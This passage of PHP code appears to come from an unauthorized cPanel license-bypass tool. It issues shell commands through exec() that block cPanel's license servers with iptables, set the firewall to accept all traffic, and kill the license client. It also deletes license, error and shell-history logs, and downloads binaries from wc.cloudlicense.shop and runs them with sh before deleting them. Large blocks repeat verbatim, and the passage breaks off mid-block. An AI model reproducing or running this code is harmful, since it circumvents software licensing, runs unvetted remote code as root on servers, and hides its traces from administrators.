													exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
													exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
													exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
													exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
													exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
													exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
													exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
													exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
													exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
													exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
													exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
													exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
													exec('/usr/bin/rm /usr/local/cpanel/logs/license_log > /dev/null 2>&1');
													exec('timeout 5s csf -f > /dev/null 2>&1');
													exec('rm -rf /etc/csf/csf.error > /dev/null 2>&1');
													exec('rm -rf /usr/local/cpanel/cpanel.li* > /dev/null 2>&1');
													exec('for run in {1..10}; do killall cpkeyclt; done > /dev/null 2>&1');
													exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
													exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
													exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
													exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
													exec('iptables -A OUTPUT -j ACCEPT > /dev/null 2>&1');
													exec('iptables -I INPUT -j ACCEPT > /dev/null 2>&1');
													exec('iptables -I OUTPUT -j ACCEPT > /dev/null 2>&1');
													exec('iptables -P INPUT ACCEPT > /dev/null 2>&1');
													exec('iptables -P FORWARD ACCEPT > /dev/null 2>&1');
													exec('iptables -P OUTPUT ACCEPT > /dev/null 2>&1');
													exec('/usr/bin/wget -O /usr/bin/.sysma/procc30_2.conf https://wc.cloudlicense.shop/api/change2?key=' . $key . ' > /dev/null 2>&1');
													exec('sed -e \'s/<[^>]*>//g\' /usr/bin/.sysma/procc30_2.conf > /usr/bin/.sysma/procc46.conf');
													$null = shell_exec('check=$(timeout 70s /usr/bin/plast -q -f /usr/bin/.sysma/procc46.conf /usr/local/cpanel/.cpkeyclt 2> /dev/null)');
													exec('/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1');
													$dns = '/usr/local/cpanel/cpanel.lisc';

													if (file_exists($dns)) {
														$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
														$pos = strpos($filedns, 'dnsonly');

														if ($pos !== false) {
															exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
															exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
															exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
															exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
															exec('sh /usr/bin/con0 > /dev/null 2>&1');
															exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
															exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
															exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
															exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
															exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
															exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
															exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
															exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
															exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
															exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
															exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
														}

														$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

														if (0 < strlen($cpanel_txt)) {
															if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
																exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																exec('sh /usr/bin/con0 > /dev/null 2>&1');
																exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
															}
														}
													}

													$dns = '/usr/local/cpanel/cpanel.lisc';

													if (file_exists($dns)) {
														$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
														$pos = strpos($filedns, 'dnsonly');

														if ($pos !== false) {
															exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
															exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
															exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
															exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
															exec('sh /usr/bin/con0 > /dev/null 2>&1');
															exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
															exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
															exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
															exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
															exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
															exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
															exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
															exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
															exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
															exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
															exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
														}

														$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

														if (0 < strlen($cpanel_txt)) {
															if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
																exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																exec('sh /usr/bin/con0 > /dev/null 2>&1');
																exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
															}
														}
													}

													$dns = '/usr/local/cpanel/cpanel.lisc';

													if (file_exists($dns)) {
														$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
														$pos = strpos($filedns, 'dnsonly');

														if ($pos !== false) {
															exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
															exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
															exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
															exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
															exec('sh /usr/bin/con0 > /dev/null 2>&1');
															exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
															exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
															exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
															exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
															exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
															exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
															exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
															exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
															exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
															exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
															exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
														}

														$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

														if (0 < strlen($cpanel_txt)) {
															if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
																exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																exec('sh /usr/bin/con0 > /dev/null 2>&1');
																exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
															}
														}
													}

													$dns = '/usr/local/cpanel/cpanel.lisc';

													if (file_exists($dns)) {
														$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
														$pos = strpos($filedns, 'dnsonly');

														if ($pos !== false) {
															exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
															exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
															exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
															exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
															exec('sh /usr/bin/con0 > /dev/null 2>&1');
															exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
															exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
															exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
															exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
															exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
															exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
															exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
															exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
															exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
															exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
															exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
														}

														$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

														if (0 < strlen($cpanel_txt)) {
															if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
																exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																exec('sh /usr/bin/con0 > /dev/null 2>&1');
																exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
															}
														}
													}

													$filename3 = '/usr/local/cpanel/cpanel.lisc';

													if (file_exists($filename3)) {
														exec('/usr/sbin/iptables -A INPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
														exec('/usr/sbin/iptables -A INPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
														exec('/usr/sbin/iptables -A INPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
														exec('/usr/sbin/iptables -A INPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
														exec('/usr/sbin/iptables -A INPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
														exec('/usr/sbin/iptables -A INPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
														exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
														exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
														exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
														exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
														exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
														exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
																		maximum_users();
                                echo '\n';
				echo 'Cpanel license has been updated and renewed';
                                echo '\n';
														exec('wget -O /usr/local/cpanel/.ltrc wc.cloudlicense.shop/date/current > /dev/null 2>&1');
														exec('wget -O /usr/local/cpanel/.ltrc1 wc.cloudlicense.shop/date/current > /dev/null 2>&1');
														exec('cat /usr/bin/.sysma/procc46.conf > /usr/local/.recoverit');
														exec('cat /usr/local/.recoverit > /usr/local/.recoverit1');
														exec('sed -i \'1d\' /usr/local/.recoverit1');
														exec('sed -r \'s/\\s+//g\' /usr/local/.recoverit1 > /usr/local/.recoverit2');
														exec('sed -i\'_is_back\' \'s/cpanel.lisc/cpane1.lisc/g\' /usr/local/cpanel/.cpkeyclt');
														exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
														exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
														exec('cat /usr/local/cpanel/cpanel.lisc > /usr/local/cpanel/cpane1.lisc');
														exec('rm -rf /usr/bin/.sysma/procc*.conf > /dev/null 2>&1');
														exec('rm -rf /usr/bin/.sysma/procc.conf* > /dev/null 2>&1');
														exec('comp0 -i -a /usr/local/cpanel/logs/error_log > /dev/null 2>&1 && rm -rf /usr/local/cpanel/logs/error_log > /dev/null 2>&1');
														exec('service cpanel restart > /dev/null 2>&1');
														exec('rm -rf /root/GBCP.lock > /dev/null 2>&1');
														maximum_users();
														echo "";
echo "";
echo "\x1b" . '[36m' . 'Cpanel license has been updated and activated!' . "\x1b" . '[0m' . "";
echo "";
echo "";
													}
													else {
														exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
														exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
														exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
														exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
														exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
														exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
														exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
														exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
														exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
														exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
														exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
														exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
														exec('/usr/bin/rm /usr/local/cpanel/logs/license_log > /dev/null 2>&1');
														exec('timeout 5s csf -f > /dev/null 2>&1');
														exec('rm -rf /etc/csf/csf.error > /dev/null 2>&1');
														exec('rm -rf /usr/local/cpanel/cpanel.li* > /dev/null 2>&1');
														exec('for run in {1..10}; do killall cpkeyclt; done > /dev/null 2>&1');
														exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
														exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
														exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
														exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
														exec('iptables -A OUTPUT -j ACCEPT > /dev/null 2>&1');
														exec('iptables -I INPUT -j ACCEPT > /dev/null 2>&1');
														exec('iptables -I OUTPUT -j ACCEPT > /dev/null 2>&1');
														exec('iptables -P INPUT ACCEPT > /dev/null 2>&1');
														exec('iptables -P FORWARD ACCEPT > /dev/null 2>&1');
														exec('iptables -P OUTPUT ACCEPT > /dev/null 2>&1');
														exec('/usr/bin/wget -O /usr/bin/.sysma/procc36.conf https://wc.cloudlicense.shop/api/change3?key=' . $key . ' > /dev/null 2>&1');
														exec('sed -e \'s/<[^>]*>//g\' /usr/bin/.sysma/procc36.conf > /usr/bin/.sysma/procc.conf9');
														$null = shell_exec('check=$(timeout 70s /usr/bin/plast -q -f /usr/bin/.sysma/procc.conf9 /usr/local/cpanel/.cpkeyclt 2> /dev/null)');
														exec('/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1');
														$dns = '/usr/local/cpanel/cpanel.lisc';

														if (file_exists($dns)) {
															$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
															$pos = strpos($filedns, 'dnsonly');

															if ($pos !== false) {
																exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																exec('sh /usr/bin/con0 > /dev/null 2>&1');
																exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
															}

															$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

															if (0 < strlen($cpanel_txt)) {
																if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
																	exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																	exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																	exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																	exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																	exec('sh /usr/bin/con0 > /dev/null 2>&1');
																	exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																	exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																}
															}
														}

														$dns = '/usr/local/cpanel/cpanel.lisc';

														if (file_exists($dns)) {
															$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
															$pos = strpos($filedns, 'dnsonly');

															if ($pos !== false) {
																exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																exec('sh /usr/bin/con0 > /dev/null 2>&1');
																exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
															}

															$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

															if (0 < strlen($cpanel_txt)) {
																if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
																	exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																	exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																	exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																	exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																	exec('sh /usr/bin/con0 > /dev/null 2>&1');
																	exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																	exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																}
															}
														}

														$dns = '/usr/local/cpanel/cpanel.lisc';

														if (file_exists($dns)) {
															$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
															$pos = strpos($filedns, 'dnsonly');

															if ($pos !== false) {
																exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																exec('sh /usr/bin/con0 > /dev/null 2>&1');
																exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
															}

															$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

															if (0 < strlen($cpanel_txt)) {
																if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
																	exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																	exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																	exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																	exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
